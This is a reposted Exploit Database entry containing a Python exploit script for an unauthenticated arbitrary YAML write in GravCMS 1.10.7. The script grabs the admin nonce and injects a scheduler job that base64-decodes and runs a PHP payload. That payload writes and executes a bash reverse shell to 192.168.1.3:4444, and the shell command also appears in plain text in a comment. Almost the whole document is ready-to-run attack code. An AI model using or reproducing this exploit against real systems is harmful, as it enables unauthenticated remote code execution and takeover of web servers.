GravCMS 1.10.7 – Arbitrary YAML Write/Update (Unauthenticated) (2)

• Exploit Database
• 13 阅读

• 作者： legend
  日期： 2021-06-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49973/

• # Exploit Title: GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2)
  # Original Exploit Author: Mehmet Ince 
  # Vendor Homepage: https://getgrav.org
  # Version: 1.10.7
  # Tested on: Debian 10 
  # Author: legend
  
  #/usr/bin/python3
  
  import requests
  import sys
  import re
  import base64
  target= "http://192.168.1.2"
  #Change base64 encoded value with with below command.
  #echo -ne "bash -i >& /dev/tcp/192.168.1.3/4444 0>&1" | base64 -w0 
  payload=b"""/*<?php /**/
  file_put_contents('/tmp/rev.sh',base64_decode('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMy80NDQ0IDA+JjE='));chmod('/tmp/rev.sh',0755);system('bash /tmp/rev.sh');
  """
  s = requests.Session()
  r = s.get(target+"/admin")
  adminNonce = re.search(r'admin-nonce" value="(.*)"',r.text).group(1)
  if adminNonce != "" :
  url = target + "/admin/tools/scheduler"
  data = "admin-nonce="+adminNonce
  data +='&task=SaveDefault&data%5bcustom_jobs%5d%5bncefs%5d%5bcommand%5d=/usr/bin/php&data%5bcustom_jobs%5d%5bncefs%5d%5bargs%5d=-r%20eval%28base64_decode%28%22'+base64.b64encode(payload).decode('utf-8')+'%22%29%29%3b&data%5bcustom_jobs%5d%5bncefs%5d%5bat%5d=%2a%20%2a%20%2a%20%2a%20%2a&data%5bcustom_jobs%5d%5bncefs%5d%5boutput%5d=&data%5bstatus%5d%5bncefs%5d=enabled&data%5bcustom_jobs%5d%5bncefs%5d%5boutput_mode%5d=append'
  headers = {'Content-Type': 'application/x-www-form-urlencoded'}
  r = s.post(target+"/admin/config/scheduler",data=data,headers=headers)